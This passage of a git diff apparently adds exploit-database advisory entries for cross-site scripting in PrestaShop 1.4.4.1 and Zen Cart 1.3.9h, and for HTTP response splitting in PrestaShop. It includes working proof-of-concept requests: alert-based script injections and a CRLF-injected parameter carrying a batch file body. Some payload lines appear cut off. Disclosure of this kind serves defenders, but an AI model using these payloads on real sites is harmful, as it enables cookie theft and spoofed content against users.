+http://www.example.com/modules/mondialrelay/googlemap.php?relativ_base_dir=">');alert('XSS'); +http:///modules/mondialrelay/googlemap.php?Pays=');alert('XSS'); \ No newline at end of file diff --git a/platforms/php/webapps/36343.txt b/platforms/php/webapps/36343.txt new file mode 100755 index 000000000..bb314cf56 --- /dev/null +++ b/platforms/php/webapps/36343.txt @@ -0,0 +1,10 @@ +source: http://www.securityfocus.com/bid/50784/info + +PrestaShop is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. + +An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +PrestaShop 1.4.4.1 is vulnerable; other versions may also be affected. + +GET: http:///modules/mondialrelay/kit_mondialrelay/SuiviExpedition_ajax.php +POST: Expedition= \ No newline at end of file diff --git a/platforms/php/webapps/36344.txt b/platforms/php/webapps/36344.txt new file mode 100755 index 000000000..98a5bf0c3 --- /dev/null +++ b/platforms/php/webapps/36344.txt @@ -0,0 +1,10 @@ +source: http://www.securityfocus.com/bid/50784/info + +PrestaShop is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. + +An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +PrestaShop 1.4.4.1 is vulnerable; other versions may also be affected. + +GET: http:///admin/ajaxfilemanager/ajax_save_text.php +POST: folder=&name= \ No newline at end of file diff --git a/platforms/php/webapps/36345.txt b/platforms/php/webapps/36345.txt new file mode 100755 index 000000000..20eb85094 --- /dev/null +++ b/platforms/php/webapps/36345.txt @@ -0,0 +1,10 @@ +source: http://www.securityfocus.com/bid/50785/info + +Prestashop is prone to an HTTP-response-splitting vulnerability because it fails to sufficiently sanitize user-supplied data. + +Attackers can leverage this issue to influence or misrepresent how web content is served, cached, or interpreted. This could aid various attacks that try to entice client users into a false sense of trust. + +Prestashop 1 4.4.1 is vulnerable; other versions may also be affected. + +GET: http://www.example.com/admin/displayImage.php?img=&name=asa.cmd"%0d%0a%0d%0a@echo off%0d%0aecho running batch file%0d%0apause%0d%0aexit +Note: The is the name of one file existing on the "upload/" folder. It's name must be a MD5 hash, without any extension. ex: "435ed7e9f07f740abf511a62c00eef6e" diff --git a/platforms/php/webapps/36346.txt b/platforms/php/webapps/36346.txt new file mode 100755 index 000000000..1ac6f167b --- /dev/null +++ b/platforms/php/webapps/36346.txt @@ -0,0 +1,16 @@ +source: http://www.securityfocus.com/bid/50787/info + +Zen Cart is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content. + +An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +Zen Cart 1.3.9h is vulnerable; other versions may also be affected. + +GET: https://www.example.com/index.php?main_page=gv_send&action=send +POST: message=</textarea>